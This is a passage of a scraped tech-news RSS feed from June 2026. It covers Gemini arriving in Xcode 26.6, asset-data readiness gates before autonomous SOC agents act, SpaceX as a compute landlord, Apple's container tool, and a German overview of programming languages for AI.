<description><![CDATA[Building apps just got a little easier for software makers who rely on tools from Apple. The company just released a new version of its popular development environment, Xcode 26.6, and it comes with a major addition. Starting today, programmers can choose to use Google Gemini as their main coding...]]></description>
<link>https://tsecurity.de/de/3628606/ios-mac-os/apple-brings-google-gemini-coding-assistant-to-xcode-266-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628606/ios-mac-os/apple-brings-google-gemini-coding-assistant-to-xcode-266-update/</guid>
<pubDate>Fri, 26 Jun 2026 23:22:26 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building apps just got a little easier for software makers who rely on tools from Apple. The company just released a new version of its popular development environment, Xcode 26.6, and it comes with a major addition. Starting today, programmers can choose to use Google Gemini as their main coding assistant inside the app.



This change gives developers more freedom to pick the exact tool that fits their specific needs while writing code on a Mac.



The software update adds a third artificial intelligence coding assistant



Before this update, the development software already supported two other big names in the machine learning space. Users could pick between Anthropic Claude Agent and OpenAI Codex to help them write, test, and fix their code. Now, Gemini joins that same list. It acts as a helpful AI guide that runs right next to the code you are working on. You do not have to switch windows or open a web browser to get answers to complex programming questions.



This move shows a bigger push toward adopting artificial intelligence across different tech platforms. By opening the doors to multiple third-party models, the company is letting developers stick to their favorite tools. If a team already has a Gemini Enterprise plan, they can easily plug their account details directly into Xcode. Individual developers can also drop in a free key to test things out without spending extra cash.



Beyond adding the new assistant, the version 26.6 update also packs in the usual round of bug fixes and stability improvements. It includes the latest Swift framework and updated kits for building across mobile and desktop devices.



Anyone running the standard version of the app can download it right now from the App Store and start setting up their preferred coding helper.]]></content:encoded>
</item>
<item>
<title><![CDATA[Autonomous security agents need complete data. Here's how to check if yours is ready.]]></title>
<description><![CDATA[An endpoint agent cannot report its own absence. The 2026 Axonius Actionability Report, conducted with the Ponemon Institute and surveying 662 IT and security professionals, put a number on a gap SOC teams have worked around for years. Across the Axonius customer base, 12.7% of devices in a 298,0...]]></description>
<link>https://tsecurity.de/de/3628252/it-nachrichten/autonomous-security-agents-need-complete-data-heres-how-to-check-if-yours-is-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628252/it-nachrichten/autonomous-security-agents-need-complete-data-heres-how-to-check-if-yours-is-ready/</guid>
<pubDate>Fri, 26 Jun 2026 20:03:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An endpoint agent cannot report its own absence. The <a href="https://www.axonius.com/resources/analyst-report/the-actionability-report-axonius-ponemon-institute">2026 Axonius Actionability Report</a>, conducted with the <a href="https://www.ponemon.org/">Ponemon Institute</a> and surveying 662 IT and security professionals, put a number on a gap SOC teams have worked around for years. <a href="https://www.axonius.com/blog/rsac-2026-recap">Across the Axonius customer base</a>, 12.7% of devices in a 298,000-device median inventory are missing their expected security agent.</p><p>If a device has no agent, no management console shows it. If a CMDB record is stale, no reconciliation flags it. An employee who installed Claude Enterprise outside procurement created a SaaS workspace, identity surface, and API-token footprint that endpoint telemetry alone will not reliably inventory. The coverage percentage on the EDR dashboard is structurally incomplete because the reporting mechanism cannot see what it does not cover.</p><p>That gap matters more now than it did six months ago. SOC and XDR vendors are pushing more autonomous investigation and remediation into production. Those agents will query the same dashboards, trust the same coverage percentages, and act on the same blind spots human analysts learned to work around. A human analyst second-guesses a 98% coverage number. An autonomous agent treats it as ground truth and moves at machine speed.</p><h2>Three independent signals converged on the same gap</h2><p><a href="https://www.gravitee.io/blog/88-of-companies-have-already-seen-ai-agent-security-failures">Gravitee’s 2026 survey</a> of 900-plus executives found 88% reported confirmed or suspected AI-related incidents, and only 14.4% sent agents live with full security approval. The Axonius/Ponemon report found 52% of respondents would let autonomous agents act on recommendations — while 63% said the underlying data lacks important information. <a href="https://cloudsecurityalliance.org/blog/2026/02/02/the-agentic-trust-framework-zero-trust-governance-for-ai-agents">The CSA's Agentic Trust Framework</a> requires verified data governance before agents act on any finding.</p><p>Mike Riemer, Field CISO at <a href="https://www.ivanti.com/">Ivanti</a>, said that known vulnerabilities on Azure’s honeypot networks are now attacked in under 90 seconds. “Traditional security measures continue to work,” Riemer told VentureBeat. </p><p>The caveat is that those measures only protect what they can see. An EDR agent deployed across 87.3% of the device inventory leaves the remaining 12.7% outside that agent’s telemetry, policy enforcement, and detection logic.</p><h2>Exclusive deployment data quantifies the scale</h2><p>Joe Diamond, CEO of Axonius, told VentureBeat that the average CISO sees roughly 50% of what is actually on the network. “Say 50% of their environment is sitting in dark matter,” Diamond said. “They don’t know what it is, or where it is, or who has access to it, if it’s secure, if it’s not secure.”</p><p>Deployment data from more than 900 Axonius customers confirms those numbers. TransUnion went from 70% to 99% endpoint coverage after out-of-band verification. <a href="https://www.axonius.com/newsroom/press-release/western-union-drives-reduction-in-manual-security-workload-improve-asset-coverage-with-axonius">Western Union went from 85% to 99%</a> by consolidating data from 38 tools and cutting manual workload by half. Lumen discovered 1.1 million assets, where the CMDB showed 17,000. That translates to roughly 37,000 unmanaged endpoints per organization sitting outside every policy, every patch cycle, and every detection rule.</p><p>Diamond pointed to <a href="https://www.anthropic.com/claude/mythos">Mythos</a>, Anthropic’s frontier reasoning model, as a sign that machine-speed offensive capability will make any unknown asset far riskier than it is today. “People tend to have shiny object syndrome,” he said. “If you didn’t understand what 50% of your environment looked like from a traditional endpoint perspective, and you think you’re going to wind sprint to granular control and governance of AI, your program will fail.” Diamond called the broader AI shift “as big, if not bigger than the internet.”</p><h2>Three approaches compete to close the gap</h2><p>No single architecture solves the visibility problem today. Three approaches compete, each with named tradeoffs security teams should evaluate before procurement.</p><p><b>A dedicated integration layer </b>uses bidirectional API adapters to build an always-current inventory. Axonius runs 1,400-plus adapters and now discovers shadow Claude Enterprise installations via its Anthropic adapter (GA June 15). “We created a bidirectional API integration with all the IT systems and all the security controls to build an always up-to-date inventory of what the environment looks like,” Diamond told VentureBeat.</p><p><b>Platform-native EDR and XDR intelligence </b>builds richer asset context inside the agent footprint. Depth within the agent footprint is the advantage. The limitation is structural. Platform-native intelligence is bounded by what the agent can see, and the gap the Ponemon report identified lives precisely where that visibility ends.</p><p><b>CMDB modernization </b>requires continuous reconciliation against three or more independent telemetry sources. Only 13% of organizations reconcile daily, according to <a href="https://www.axonius.com/blog/2026-axonius-actionability-report-context">Axonius/Ponemon data</a>. The remaining 87% operate on stale records that feed incorrect prioritization into any automated remediation pipeline.</p><h2>EDR data readiness: Five gates before autonomous remediation</h2><p>Before you let autonomous SOC agents close tickets or quarantine assets, this checklist tells you whether your EDR and asset data is solid enough to trust. It is vendor-agnostic, works with any EDR and CMDB, and gives you five pass/fail gates you can run in a single working session.</p><table><tbody><tr><td><p><b>Risk Area</b></p></td><td><p><b>What the data shows</b></p></td><td><p><b>Readiness threshold</b></p></td><td><p><b>Action to take now</b></p></td></tr><tr><td><p>Asset inventory delta</p></td><td><p>Ponemon: only 45% consolidate into a single view. Forrester TEI: 150% more assets than previously identified. Lumen: 17K in CMDB vs. 1.1M discovered.</p></td><td><p><b>Delta ≤10%</b> between discovery, CMDB, and EDR agent count. Delta above 10% blocks automated remediation until reconciled.</p></td><td><p>Run API-based discovery against all segments. Diff against CMDB and EDR console count. Reconcile quarterly minimum.</p></td></tr><tr><td><p>Unmanaged AI services</p></td><td><p>Gravitee: 88% confirmed or suspected AI incidents. Only 14.4% with full security approval. Anthropic adapter (GA June 15) discovers unmanaged Claude Enterprise installations.</p></td><td><p>No high-risk AI services outside approved procurement. <b>Weekly SaaS discovery scans.</b> Unmanaged high-risk instances trigger IR triage before exception review.</p></td><td><p>Deploy SaaS discovery or protocol-level adapters for AI service detection. Automate weekly scans. Route unmanaged instances to IR queue.</p></td></tr><tr><td><p>CMDB record accuracy</p></td><td><p>Ponemon: only 13% reconcile daily (RSAC 2026). Brooks Running: 20% server discrepancy between console and independent discovery. Top remediation barriers: unclear prioritization, unclear ownership, inconsistent data.</p></td><td><p><b>≥85% of records</b> validated against 3+ independent telemetry sources. No stale or orphaned records in active remediation queue.</p></td><td><p>Cross-reference CMDB against cloud inventory, EDR telemetry, and IdP directory. Continuous reconciliation replaces annual audit cycles.</p></td></tr><tr><td><p>Endpoint agent coverage gap</p></td><td><p>Ponemon: an agent cannot report its own absence (p. 8). TransUnion: 70% to 99% after out-of-band verification. RSAC 2026: 12.7% of 298K median devices missing expected agent.</p></td><td><p><b>≥95% agent coverage</b> verified via out-of-band discovery. Many CISOs set this as the minimum before allowing autonomous remediation. No self-reported-only metrics in board reports.</p></td><td><p>Run network-based or API-driven discovery against managed device list. Coverage below 95% blocks automated remediation scoping.</p></td></tr><tr><td><p>Asset ownership mapping</p></td><td><p>Ponemon: 32% apply tags consistently. Only 51% assign ownership on new exposures (pp. 9, 16). TransUnion: 12K to 190K assets with ownership mapped.</p></td><td><p><b>Owner assigned within 24 hours.</b> Tags consistent across cloud, EDR, CMDB. Three systems showing three owners = failure.</p></td><td><p>Automate ownership via cloud tags, IdP group membership, or CMDB metadata. Map asset, remediation, and business owner as separate fields.</p></td></tr></tbody></table><h2>Five questions to ask before allowing autonomous SOC action</h2><ol><li><p>What independently verifies endpoint-agent coverage outside the EDR console?</p></li><li><p>How does the SOC reconcile conflicts between EDR, CMDB, cloud inventory, IdP, and discovery tools?</p></li><li><p>Can AI agents act on assets with unknown or disputed ownership?</p></li><li><p>Can the system distinguish “not vulnerable” from “not visible”?</p></li><li><p>What data-quality gate blocks autonomous remediation when coverage or ownership falls below threshold?</p></li></ol><h2>Board-ready risk framing</h2><p>Kayne McGladrey, IEEE Senior Member, has confirmed the pattern across multiple published VentureBeat interviews. The structural gap in self-reported coverage is not new. What is new is that autonomous agents will act on it at machine speed without the institutional workarounds human analysts developed over years of experience. Diamond put the board-level stakes plainly in an <a href="https://www.axonius.com/newsroom/press-release/axonius-delivers-ai-powered-remediation">April 2026 press statement</a>: “Findings pile up because the data isn’t trusted, ownership isn’t clear, and entire asset classes aren’t even in the picture.”</p><p>The <a href="https://cloudsecurityalliance.org/blog/2026/02/02/the-agentic-trust-framework-zero-trust-governance-for-ai-agents">CSA’s Agentic Trust Framework</a> requires that any agent promoted to a higher autonomy level must pass five gates, including demonstrated accuracy and a security audit. The EU AI Act’s Article 50 transparency obligations take effect August 2, 2026. The May 2026 Digital Omnibus pushed high-risk system obligations to December 2027, but organizations deploying agentic SOC agents on incomplete asset data face immediate operational risk that outpaces any regulatory timeline.</p><p>The board-ready sentence: Our EDR coverage reports are structurally incomplete because an endpoint agent cannot report its own absence, and we are verifying coverage through out-of-band discovery before deploying autonomous agents that would act on those reports at machine speed.</p><h2>Security director playbook</h2><ol><li><p><b>Run out-of-band asset discovery this week. </b>Compare results against your CMDB export and EDR console count. If the delta exceeds 10%, halt automated remediation scoping until the gap is reconciled.</p></li><li><p><b>Deploy SaaS discovery for AI services. </b>Employees install AI ahead of procurement, ahead of security. Weekly scans are the minimum. Route any unmanaged high-risk instance to your incident response queue for triage before exception review.</p></li><li><p><b>Map asset ownership to remediation responsibility. </b>Ponemon found only 32% of organizations apply tags consistently. If three systems show three different owners for the same asset, automated remediation has no routing target. Fix the ownership layer before deploying agents that depend on it.</p></li><li><p><b>Kill self-reported-only coverage metrics. </b>Any risk calculation or board report that relies on EDR console-reported coverage alone is built on data the reporting system cannot verify. Require out-of-band verification for every coverage number that informs a risk decision.</p></li></ol><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Weekend, a Startup's Robot Will Launch to Rescue the Swift Space Telescope]]></title>
<description><![CDATA[The latest example of a public-private partnership at NASA could dramatically change the lifespans of future space tech.]]></description>
<link>https://tsecurity.de/de/3628028/it-nachrichten/this-weekend-a-startups-robot-will-launch-to-rescue-the-swift-space-telescope/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628028/it-nachrichten/this-weekend-a-startups-robot-will-launch-to-rescue-the-swift-space-telescope/</guid>
<pubDate>Fri, 26 Jun 2026 18:19:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The latest example of a public-private partnership at NASA could dramatically change the lifespans of future space tech.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why SpaceX is the McDonald’s of AI]]></title>
<description><![CDATA[Have you seen “The Founder”?



It’s the story of McDonald’s and how Ray Kroc (played by Michael Keaton) transformed the company from a local burger joint to a global landlord. According to the movie, Kroc’s accountant gave him the revelation: “You’re not in the burger business. You’re in the rea...]]></description>
<link>https://tsecurity.de/de/3626976/it-nachrichten/why-spacex-is-the-mcdonalds-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626976/it-nachrichten/why-spacex-is-the-mcdonalds-of-ai/</guid>
<pubDate>Fri, 26 Jun 2026 12:02:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Have you seen “<a href="https://en.wikipedia.org/wiki/The_Founder" data-type="link" data-id="https://en.wikipedia.org/wiki/The_Founder" target="_blank" rel="noreferrer noopener">The Founder</a>”?</p>



<p>It’s the story of McDonald’s and how Ray Kroc (played by Michael Keaton) transformed the company from a local burger joint to a global landlord. According to the movie, Kroc’s accountant gave him the revelation: “You’re not in the burger business. You’re in the real estate business.”</p>



<p>When brothers Richard and Maurice McDonald transformed their San Bernardino, CA barbecue restaurant into a fast-food burger joint in 1948, their model was to make and sell their own burgers. They would succeed or fail based on making better food products than other restaurants. </p>



<p>By the time Kroc bought out the McDonald brothers in 1961, the new model was leasing real estate to other people, and those other people would make the food. Whether the original San Bernardino McDonald’s succeeded or failed became irrelevant to the success of the McDonald’s corporation. </p>



<p>SpaceX has done the same thing. Its San Bernardino location, i.e. xAI, can now succeed or fail without affecting the success of the parent company, which is SpaceX. </p>



<p>The company this week <a href="https://www.reuters.com/business/media-telecom/ai-startup-reflection-signs-computing-power-deal-with-spacex-2026-06-22/" data-type="link" data-id="https://www.reuters.com/business/media-telecom/ai-startup-reflection-signs-computing-power-deal-with-spacex-2026-06-22/" target="_blank" rel="noreferrer noopener">signed a compute lease with Reflection AI</a>, a pre-revenue startup founded by former Google DeepMind researchers. Under the agreement, Reflection pays $150 million per month for use of the Nvidia GB300 chips housed at Colossus 2, SpaceX’s expansion facility in Memphis, TN. If the lease runs for the full term, SpaceX as a landlord stands to make around $6.3 billion. (Reflection AI has shipped open-weight models, but has no widely adopted frontier model yet, and was reportedly raising capital at a $25 billion valuation.) </p>



<p>Earlier this month, an S-1 filing revealed that Google agreed to pay SpaceX approximately $920 million per month for 32 months. SpaceX stands to make around $30 billion. And last month, SpaceX disclosed that xAI made a big deal with Anthropic that could bring in to SpaceX as much as $45 billion in revenue.</p>



<p>Regardless of whether <a href="http://x.com/">xAI</a> — or, for that matter, Reflection, Google, or Anthropic — succeeds or fails, SpaceX still wins. </p>



<p>Like McDonald’s (which developed its super efficient burger-building system in order to succeed with its San Bernardino location and ended up using that system to succeed as a landlord), SpaceX is using the Colossus infrastructure it built for <a href="http://x.com/">xAI’s</a> Grok to succeed as an AI landlord.</p>



<p>Grok might succeed, or it might fail. But SpaceX makes bank if Grok’s competitors pay their rent. </p>



<p>That makes Elon Musk, who is the CEO of SpaceX, the Ray Kroc of AI. </p>



<h2 class="wp-block-heading">Nvidia is Mayor McCheese</h2>



<p>Colossus originally went online in July 2024, powered by 100,000 Nvidia H100 Hopper GPUs housed in a Supermicro liquid-cooled HGX H100 chassis. The company doubled that to 200,000 GPUs within a short time and it now comprises more than 220,000 Nvidia GPUs including H100, H200, and next-generation Blackwell-class accelerators. The entire fabric runs on Nvidia’s Spectrum-X Ethernet platform, specifically the Spectrum SN5600 switch built on the Spectrum-4 ASIC. </p>



<p>Also: Nvidia is also heavily invested in companies that are renting compute power on Colossus. The company invests in Anthropic and Reflection AI — and, for that matter, xAI itself and, therefore, SpaceX. </p>



<p>Nvidia has positioned itself as the Mayor McCheese of the AI industry, collecting taxes at every node of the AI economy. It supplies the GPUs and networking fabric that every frontier lab must train on and collects hardware revenue from the winner’s rivals, even as it profits from the winner’s success. </p>



<p>So whether Anthropic, Google, Reflection AI, xAI, or some yet-unformed lab produces the dominant model, the computing power was bought from Nvidia and the landlord’s machine was built from Nvidia silicon. </p>



<h2 class="wp-block-heading">And Apple is the Hamburglar</h2>



<p>Apple’s AI strategy is even more brilliant than Nvidia’s. </p>



<p>It’s built on a three-tier routing system. When you ask Siri to do something, a built-in orchestrator in the operating system decides how complex the task is. According to third-party estimates, around 85% of requests are handled on your Apple device by Apple’s own small, efficient models. (It does things like summarizing text, prioritizing notifications, cleaning up photos, or suggesting replies.) Roughly 12% of all queries get sent to <a href="https://www.computerworld.com/article/2142244/wwdc-apples-private-cloud-compute-is-what-all-cloud-services-should-be.html" data-type="link" data-id="https://www.computerworld.com/article/2142244/wwdc-apples-private-cloud-compute-is-what-all-cloud-services-should-be.html">Private Cloud Compute</a>, Apple’s own server infrastructure running Apple’s larger models on Apple silicon in Apple-owned data centers. Only the hardest 3% of queries get routed to an external partner model.</p>



<p>This design lets Apple avoid the ruinous cost of training a frontier model from scratch. Microsoft, Google, Meta, and Amazon each spend tens of billions of dollars per year on GPU clusters, energy, and research teams to build and run trillion-parameter models. Apple doesn’t. Its own models are deliberately small and run on chips Apple already sells you, so the inference cost is basically absorbed into the device. It only needs a frontier model for that tiny sliver of hard queries, which is where the partnership strategy kicks in.</p>



<p>While frontier labs are collectively spending trillions to build AI infrastructure, Apple is paying Google a mere $1 billion per year to license a custom Gemini model that powers the rebuilt Siri and Apple Intelligence’s complex-query path.</p>



<p>The reason Apple can swap partners is the Foundation Models framework, a native Swift API with a published LanguageModel protocol that any provider can implement. Google’s Gemini conforms to it. Anthropic’s Claude probably conforms to it. Any future model can theoretically conform to it. Apple’s orchestrator routes to whatever model fits the interface, so switching providers means changing routing logic, not rebuilding the whole system. </p>



<p>Apple profits through several channels. Apple Intelligence requires recent hardware, driving upgrade cycles. Advanced features push users toward higher iCloud storage tiers. </p>



<p>And so while everyone else is investing trillions, creating what is essentially debt that has to be repaid somehow, Apple is mainly just collecting billions without the massive investments needed by the frontier model companies. </p>



<p>The AI industry has been telling itself a story: that the companies building the best models will win, that intelligence is the product, that the chatbot with the most capabilities and the cleverest training run will capture the market. That story is wrong. Some of the companies building the best models are tenants. The companies that rent out the compute are landlords. </p>



<p>Ray Kroc would recognize SpaceX’s strategy immediately. The burger doesn’t matter; the land does. Right now, the most valuable land in the world isn’t in Silicon Valley. It’s a data center complex in Memphis full of hundreds of thousands of GPUs. </p>



<p>The man who owns it just realized that he’s not in the AI business at all. He’s in the real estate business. (And he’s probably lovin’ it.)</p>



<p><a href="https://www.computerworld.com/article/4120839/always-disclose-how-you-use-ai.html"><em>AI disclosures</em></a><em>: I don’t use AI for writing. The words you see here are mine. I used a few AI tools via Kagi Assistant (disclosure: my son works at Kagi) as well as both Kagi Search and Google Search as one part of my fact-checking for this column. I used a word processing product called Lex, which has AI tools, and after writing the column, I used Lex’s grammar checking tools to hunt for typos and errors and suggest word changes. Why I disclose my AI use and encourage you to do the same. </em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meet container: Apple’s Open-Source Swift Tool for Running Linux Containers as Lightweight VMs on Apple Silicon]]></title>
<description><![CDATA[Apple released container 1.0, an open-source Swift tool running Linux containers as lightweight virtual machines on Apple silicon.
The post Meet container: Apple’s Open-Source Swift Tool for Running Linux Containers as Lightweight VMs on Apple Silicon appeared first on MarkTechPost.]]></description>
<link>https://tsecurity.de/de/3626816/ai-nachrichten/meet-container-apples-open-source-swift-tool-for-running-linux-containers-as-lightweight-vms-on-apple-silicon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626816/ai-nachrichten/meet-container-apples-open-source-swift-tool-for-running-linux-containers-as-lightweight-vms-on-apple-silicon/</guid>
<pubDate>Fri, 26 Jun 2026 10:49:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Apple released container 1.0, an open-source Swift tool running Linux containers as lightweight virtual machines on Apple silicon.</p>
<p>The post <a href="https://www.marktechpost.com/2026/06/26/meet-container-apples-open-source-swift-tool-for-running-linux-containers-as-lightweight-vms-on-apple-silicon/">Meet container: Apple’s Open-Source Swift Tool for Running Linux Containers as Lightweight VMs on Apple Silicon</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Künstliche Intelligenz programmieren: Die besten Coding-Sprachen für KI]]></title>
<description><![CDATA[Wenn es darum geht, Künstliche Intelligenz zu programmieren, stehen Ihnen diverse Optionen zur Wahl. Wir zeigen Ihnen die besten KI-Programmiersprachen.
					Foto: Connect world – shutterstock.com




Künstliche Intelligenz (KI) eröffnet Softwareentwicklern völlig neue Möglichkeiten: Mit Hilfe vo...]]></description>
<link>https://tsecurity.de/de/3626228/it-security-nachrichten/kuenstliche-intelligenz-programmieren-die-besten-coding-sprachen-fuer-ki/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626228/it-security-nachrichten/kuenstliche-intelligenz-programmieren-die-besten-coding-sprachen-fuer-ki/</guid>
<pubDate>Fri, 26 Jun 2026 05:22:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Wenn es darum geht, Künstliche Intelligenz zu programmieren, stehen Ihnen diverse Optionen zur Wahl. Wir zeigen Ihnen die besten KI-Programmiersprachen." title="Wenn es darum geht, Künstliche Intelligenz zu programmieren, stehen Ihnen diverse Optionen zur Wahl. Wir zeigen Ihnen die besten KI-Programmiersprachen." src="https://images.computerwoche.de/bdb/3284310/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Wenn es darum geht, Künstliche Intelligenz zu programmieren, stehen Ihnen diverse Optionen zur Wahl. Wir zeigen Ihnen die besten KI-Programmiersprachen.</p></figcaption></figure><p class="imageCredit">
					Foto: Connect world – shutterstock.com</p></div>




<p><a href="https://www.computerwoche.de/article/2769837/was-sie-zum-thema-ki-wissen-muessen.html" title="Künstliche Intelligenz" target="_blank">Künstliche Intelligenz</a> (KI) eröffnet Softwareentwicklern völlig neue Möglichkeiten: Mit Hilfe von <a href="https://www.computerwoche.de/article/2789087/noch-viel-zu-tun-bei-ki-und-ml.html" title="Machine und Deep Learning" target="_blank">Machine und Deep Learning</a> lassen sich bessere Nutzerprofile und Empfehlungen, ein höherer Personalisierungsgrad, smartere Suchoptionen oder intelligentere Interfaces realisieren. Dabei stellt sich unweigerlich die Frage, welche Programmiersprache dafür zum Einsatz kommen soll. Die Anforderungen, denen eine KI-Coding-Sprache genügen muss, sind vielfältig: eine Vielzahl von Machine- und Deep-Learning-Bibliotheken sollten genauso vorhanden sein wie eine performante Laufzeitumgebung, ausgiebiger Tool Support, eine große Entwickler-Community und ein gesundes Ökosystem.</p>



<p>Trotzdem dieser Anforderungskatalog umfassend ist, stehen Ihnen einige gute Optionen zur Wahl, wenn es darum geht, Künstliche Intelligenz zu <a href="https://www.computerwoche.de/article/2813209/11-wege-ihre-softwareentwicklung-neu-zu-definieren.html" title="programmieren" target="_blank">programmieren</a>. Wir zeigen Ihnen eine Auswahl der besten KI-Programmiersprachen.</p>



<h2 class="wp-block-heading">Python</h2>



<p>Wenn Sie als Developer mit künstlicher Intelligenz arbeiten, führt mit an Sicherheit grenzender Wahrscheinlichkeit kein Weg an <a href="https://www.cowo.de/a/3548847" title="Python" target="_blank" rel="noopener">Python</a> vorbei. Inzwischen unterstützen auch so gut wie alle gängigen Bibliotheken Python 3.x – die Zeiten, in denen die Umstellung von Python 2.x auf 3.x Kompatibilitätsprobleme mit sich brachte, sind so gut wie vorbei. Mit anderen Worten: Sie können nun endlich auch in der Praxis von den zahlreichen neuen Features von Python 3.x profitieren. Was nicht heißen soll, dass die packaging-Hürden bei <a href="https://www.computerwoche.de/article/2762025/python-lernen-leicht-gemacht.html" title="Python" target="_blank">Python</a> überhaupt keine Rolle mehr spielen – das Gros der Probleme lässt sich aber mit Hilfe von Anaconda umschiffen. Nichtsdestotrotz wäre es zu begrüßen, wenn die Python Community endlich voll und ganz von diesen Hürden befreit würde.</p>



<p>Davon abgesehen sind die verfügbaren mathematischen und statistischen Bibliotheken von Python denen anderer Programmiersprachen weit voraus: <a title="NumPy" href="https://numpy.org/" target="_blank" rel="noopener">NumPy</a> ist inzwischen so allgegenwärtig, dass es beinahe als Standard-API für Tensor Operations bezeichnet werden kann, während <a title="Pandas" href="https://pandas.pydata.org/" target="_blank" rel="noopener">Pandas</a> die flexiblen Dataframes von R in die Python-Welt trägt. Geht es um Natural Language Processing (NLP) haben Sie die Wahl zwischen dem altehrwürdigen <a title="NLTK" href="https://www.nltk.org/" target="_blank" rel="noopener">NLTK</a> und dem superschnellen <a title="SpaCy" href="https://spacy.io/" target="_blank" rel="noopener">SpaCy</a>, während sich für Machine-Learning-Zwecke das bewährte <a title="scikit-learn" href="https://scikit-learn.org/stable/" target="_blank" rel="noopener">scikit-learn</a> empfiehlt. Geht es hingegen um Deep Learning, sind alle aktuellen Bibliotheken (<a title="TensorFlow" href="https://www.tensorflow.org/" target="_blank" rel="noopener">TensorFlow</a>, <a title="PyTorch" href="https://pytorch.org/" target="_blank" rel="noopener">PyTorch</a>, <a title="Chainer" href="https://chainer.org/" target="_blank" rel="noopener">Chainer</a>, <a title="Apache MXNet" href="https://mxnet.apache.org/" target="_blank" rel="noopener">Apache MXNet</a>, etc.) im Grunde “Python-first”-Projekte.</p>



<p>Wenn Sie ein regelmäßiger Besucher von <a title="arXiv" href="https://arxiv.org/" target="_blank" rel="noopener">arXiv</a> sind, wird Ihnen längst aufgefallen sein, dass die Mehrzahl der dortigen Deep-Learning-Forschungsprojekte, die Quellcode zur Verfügung stellen, dazu auf Python setzen. In Sachen Deployment-Modelle haben Microservice-Architekturen und -Technologien wie <a href="https://github.com/seldonio/seldon-core" target="_blank" rel="noreferrer noopener">SeldonCore</a> die Auslieferung von Python-Modellen in Produktivumgebungen wesentlich vereinfacht.</p>



<p><a href="https://www.computerwoche.de/article/2762145/python-besitzt-mehr-als-300-bibliotheken.html" title="Python" target="_blank">Python</a> ist zweifellos die Programmiersprache der Wahl, wenn es um KI-Forschung geht: Sie bietet die größte Auswahl an Machine und Deep Learning Frameworks und ist die Coding-Sprache, die innerhalb der KI-Welt tonangebend ist.</p>



<h2 class="wp-block-heading">C++</h2>



<p><a href="https://www.computerwoche.de/article/2816926/wie-sich-c-gegen-c-python-und-co-schlaegt.html" title="C++" target="_blank">C++</a> ist aller Voraussicht nach nicht die erste Wahl für Ihr <a href="https://www.computerwoche.de/article/2781630/so-wird-ihr-ki-projekt-ein-erfolg.html" title="KI-Projekt" target="_blank">KI-Projekt</a>. Allerdings wird Deep Learning im Edge-Bereich ein immer gängigeres Szenario. In diesem Fall müssen Sie Ihre Modelle auf Systemen zum Laufen bringen, die nur sehr begrenzte Ressourcen zur Verfügung haben. Um das letzte bisschen Performance aus dem System zu pressen, kann es nötig werden, noch einmal in die Untiefen der Pointer-Welt abzutauchen.</p>



<p>Glücklicherweise kann moderner C++ Code aber tatsächlich angenehm zu schreiben sein. Hierfür stehen Ihnen mehrere Ansätze zur Wahl: Entweder Sie nutzen Bibliotheken wie Nvidias <a href="https://www.computerwoche.de/article/2818437/was-ist-cuda.html" target="_blank">CUDA</a> um ihren eigenen Programmcode zu schreiben, der direkt in die GPU fließt – oder Sie setzen wahlweise auf TensorFlow oder PyTorch, um Zugang zu flexiblen high-level <a href="https://www.computerwoche.de/article/4004872/die-besten-apis-um-ki-zu-integrieren.html" target="_blank">APIs</a> zu erlangen. Sowohl <a title="PyTorch" href="https://www.computerwoche.de/article/2794453/5-gruende-fuer-das-deep-learning-framework.html" target="_blank">PyTorch</a> als auch <a title="TensorFlow" href="https://www.computerwoche.de/article/2789330/die-besten-tools-fuer-tensorflow.html" target="_blank">TensorFlow</a> erlauben Ihnen, Modelle, die in Python geschrieben sind, in eine C++ Laufzeitumgebung zu integrieren. So rücken Sie deutlich näher an den Produktiveinsatz, bleiben dabei aber flexibel in der Entwicklung.</p>



<p>Weil KI-Applikationen sich immer stärker über alle Devices – von Embedded Systems bis hin zu riesigen Clustern – hinweg ausbreiten, ist C++ ein wichtiger Bestandteil des KI-Coding-Toolkits. Um <a href="https://www.computerwoche.de/article/2807255/so-sichern-sie-den-netzwerkrand-ab.html" title="künstliche Intelligenz im Edge-Bereich" target="_blank">künstliche Intelligenz im Edge-Bereich</a> zu realisieren, gilt es eben nicht nur akkurat zu programmieren, sondern auch qualitativ gut und schnell.</p>



<h2 class="wp-block-heading">Java und andere JVM-Sprachen</h2>



